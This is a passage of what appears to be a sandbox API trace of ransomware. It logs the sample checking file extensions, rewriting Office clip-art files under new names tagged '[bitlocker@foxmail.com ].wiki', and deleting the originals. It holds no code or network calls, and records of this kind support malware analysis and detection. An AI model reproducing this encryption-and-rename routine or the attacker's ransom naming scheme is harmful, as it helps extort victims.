returned -1 [0193.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.330] lstrlenW (lpString=".dbf") returned 4 [0193.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.331] lstrlenW (lpString=".1cd") returned 4 [0193.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.331] lstrlenW (lpString=".jpg") returned 4 [0193.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.331] lstrlenW (lpString=".doc") returned 4 [0193.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.331] lstrlenW (lpString=".docx") returned 5 [0193.331] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.331] lstrlenW (lpString=".pdf") returned 4 [0193.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.331] lstrlenW (lpString=".xls") returned 4 [0193.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.331] lstrlenW (lpString=".xlsx") returned 5 [0193.331] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.331] lstrlenW (lpString=".ppt") returned 4 [0193.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.331] lstrlenW (lpString=".zip") returned 4 [0193.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.331] lstrlenW (lpString=".rar") returned 4 [0193.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.332] lstrlenW (lpString=".bz2") returned 4 [0193.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.332] lstrlenW (lpString=".7z") returned 3 [0193.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.332] lstrlenW (lpString=".dbf") returned 4 [0193.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.332] lstrlenW (lpString=".1cd") returned 4 [0193.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0193.332] lstrlenW (lpString=".jpg") returned 4 [0193.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.332] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.332] lstrlenW (lpString="J0105306.WMF") returned 12 [0193.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.333] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4320) returned 1 [0193.333] CloseHandle (hObject=0x200) returned 1 [0193.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 0x20 [0193.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.333] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.333] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.334] GetLastError () returned 0x0 [0193.334] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x10e0, lpOverlapped=0x0) returned 1 [0193.335] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x10f0, lpOverlapped=0x0) returned 1 [0193.337] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.337] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.337] SetEndOfFile (hFile=0x1f8) returned 1 [0193.337] CloseHandle (hObject=0x1f8) returned 1 [0193.337] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.337] SetEndOfFile (hFile=0x200) returned 1 [0193.338] CloseHandle (hObject=0x200) returned 1 [0193.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0193.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.338] lstrlenW (lpString=".doc") returned 4 [0193.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.338] lstrlenW (lpString=".docx") returned 5 [0193.338] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.338] lstrlenW (lpString=".pdf") returned 4 [0193.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.338] lstrlenW (lpString=".xls") returned 4 [0193.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.338] lstrlenW (lpString=".xlsx") returned 5 [0193.338] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.338] lstrlenW (lpString=".ppt") returned 4 [0193.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.339] lstrlenW (lpString=".zip") returned 4 [0193.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.339] lstrlenW (lpString=".rar") returned 4 [0193.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.339] lstrlenW (lpString=".bz2") returned 4 [0193.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.339] lstrlenW (lpString=".7z") returned 3 [0193.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.339] lstrlenW (lpString=".dbf") returned 4 [0193.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.339] lstrlenW (lpString=".1cd") returned 4 [0193.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.339] lstrlenW (lpString=".jpg") returned 4 [0193.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.339] lstrlenW (lpString=".doc") returned 4 [0193.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.339] lstrlenW (lpString=".docx") returned 5 [0193.339] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.339] lstrlenW (lpString=".pdf") returned 4 [0193.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.339] lstrlenW (lpString=".xls") returned 4 [0193.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.340] lstrlenW (lpString=".xlsx") returned 5 [0193.340] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.340] lstrlenW (lpString=".ppt") returned 4 [0193.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.340] lstrlenW (lpString=".zip") returned 4 [0193.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.340] lstrlenW (lpString=".rar") returned 4 [0193.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.340] lstrlenW (lpString=".bz2") returned 4 [0193.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.340] lstrlenW (lpString=".7z") returned 3 [0193.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.340] lstrlenW (lpString=".dbf") returned 4 [0193.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.340] lstrlenW (lpString=".1cd") returned 4 [0193.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0193.340] lstrlenW (lpString=".jpg") returned 4 [0193.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.340] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.341] lstrlenW (lpString="J0105320.WMF") returned 12 [0193.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.341] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2020) returned 1 [0193.341] CloseHandle (hObject=0x200) returned 1 [0193.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 0x20 [0193.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.343] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.343] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.343] GetLastError () returned 0x0 [0193.343] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x7e4, lpOverlapped=0x0) returned 1 [0193.345] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0193.346] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.346] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.346] SetEndOfFile (hFile=0x1f8) returned 1 [0193.610] CloseHandle (hObject=0x1f8) returned 1 [0193.610] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.611] SetEndOfFile (hFile=0x200) returned 1 [0193.637] CloseHandle (hObject=0x200) returned 1 [0193.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0193.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.637] lstrlenW (lpString=".doc") returned 4 [0193.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString=".docx") returned 5 [0193.637] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.637] lstrlenW (lpString=".pdf") returned 4 [0193.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString=".xls") returned 4 [0193.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.637] lstrlenW (lpString=".xlsx") returned 5 [0193.637] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.637] lstrlenW (lpString=".ppt") returned 4 [0193.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.637] lstrlenW (lpString=".zip") returned 4 [0193.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.637] lstrlenW (lpString=".rar") returned 4 [0193.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.638] lstrlenW (lpString=".bz2") returned 4 [0193.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.638] lstrlenW (lpString=".7z") returned 3 [0193.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.638] lstrlenW (lpString=".dbf") returned 4 [0193.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.638] lstrlenW (lpString=".1cd") returned 4 [0193.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.638] lstrlenW (lpString=".jpg") returned 4 [0193.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.638] lstrlenW (lpString=".doc") returned 4 [0193.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.638] lstrlenW (lpString=".docx") returned 5 [0193.638] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.638] lstrlenW (lpString=".pdf") returned 4 [0193.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.638] lstrlenW (lpString=".xls") returned 4 [0193.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.638] lstrlenW (lpString=".xlsx") returned 5 [0193.638] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.638] lstrlenW (lpString=".ppt") returned 4 [0193.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.638] lstrlenW (lpString=".zip") returned 4 [0193.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.639] lstrlenW (lpString=".rar") returned 4 [0193.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.639] lstrlenW (lpString=".bz2") returned 4 [0193.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.639] lstrlenW (lpString=".7z") returned 3 [0193.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.639] lstrlenW (lpString=".dbf") returned 4 [0193.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.639] lstrlenW (lpString=".1cd") returned 4 [0193.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0193.639] lstrlenW (lpString=".jpg") returned 4 [0193.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.639] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.639] lstrlenW (lpString="J0105348.WMF") returned 12 [0193.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.640] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=17060) returned 1 [0193.640] CloseHandle (hObject=0x200) returned 1 [0193.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 0x20 [0193.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.640] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.640] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.641] GetLastError () returned 0x0 [0193.641] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x42a4, lpOverlapped=0x0) returned 1 [0193.642] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x42b0, lpOverlapped=0x0) returned 1 [0193.643] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.643] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.644] SetEndOfFile (hFile=0x1f8) returned 1 [0193.644] CloseHandle (hObject=0x1f8) returned 1 [0193.644] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.644] SetEndOfFile (hFile=0x200) returned 1 [0193.645] CloseHandle (hObject=0x200) returned 1 [0193.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0193.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.645] lstrlenW (lpString=".doc") returned 4 [0193.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.645] lstrlenW (lpString=".docx") returned 5 [0193.645] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.645] lstrlenW (lpString=".pdf") returned 4 [0193.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.645] lstrlenW (lpString=".xls") returned 4 [0193.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.645] lstrlenW (lpString=".xlsx") returned 5 [0193.645] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.645] lstrlenW (lpString=".ppt") returned 4 [0193.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.645] lstrlenW (lpString=".zip") returned 4 [0193.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.646] lstrlenW (lpString=".rar") returned 4 [0193.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.646] lstrlenW (lpString=".bz2") returned 4 [0193.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.646] lstrlenW (lpString=".7z") returned 3 [0193.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.646] lstrlenW (lpString=".dbf") returned 4 [0193.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.646] lstrlenW (lpString=".1cd") returned 4 [0193.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.646] lstrlenW (lpString=".jpg") returned 4 [0193.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.646] lstrlenW (lpString="C:\\Program 